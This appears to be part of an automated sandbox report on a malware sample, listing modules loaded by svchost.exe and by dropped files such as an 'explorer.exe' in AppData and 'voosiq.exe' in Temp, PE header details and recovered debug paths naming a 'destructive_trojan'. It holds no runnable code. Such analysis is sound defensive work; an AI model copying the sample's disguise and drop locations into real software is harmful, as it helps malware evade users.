Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32 Jump to behavior
Source: explorer.lnk.2.dr LNK file: ..\..\..\..\..\explorer.exe
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe File opened: C:\Windows\SYSTEM32\msftedit.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: 8svMXMXNRn.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 8svMXMXNRn.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: 8svMXMXNRn.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: fC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 0C:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\poros\Downloads\destructive_trojan\destructive_trojan\destructive_trojan\obj\Debug\TrojanXD.pdb source: voosiq.exe, 00000021.00000002.3973742662.00007FF789E06000.00000004.00000001.01000000.00000015.sdmp, TrojanXD.exe, 00000022.00000000.3938755617.000002BF9CD82000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4863543107.000000001C333000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: yC:\Users\user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: wC:\Users\user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: hC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: oC:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb8 source: BootstrapperV21.exe, 00000002.00000002.4851659921.000000001B690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ~C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: lC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: iC:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdb source: BootstrapperV1.22.exe, 00000008.00000002.2553192418.000001ACA6C49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdbmui source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4851659921.000000001B690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: 8svMXMXNRn.exe, 00000000.00000002.2038973798.00007FF6373D8000.00000002.00000001.01000000.00000003.sdmp, 8svMXMXNRn.exe, 00000000.00000003.2031085342.000001E9E40EE000.00000004.00000020.00020000.00000000.sdmp, 8svMXMXNRn.exe, 00000000.00000003.2029686110.000001E9E5746000.00000004.00000020.00020000.00000000.sdmp, 8svMXMXNRn.exe, 00000000.00000000.2028449384.00007FF6373D8000.00000002.00000001.01000000.00000003.sdmp
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: voosiq.exe, 00000021.00000002.3973688259.00007FF789DEB000.00000002.00000001.01000000.00000015.sdmp, voosiq.exe, 00000021.00000000.3933474079.00007FF789DEB000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: gC:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: indoC:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: nC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: }C:\Users\user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E8A2000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mC:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
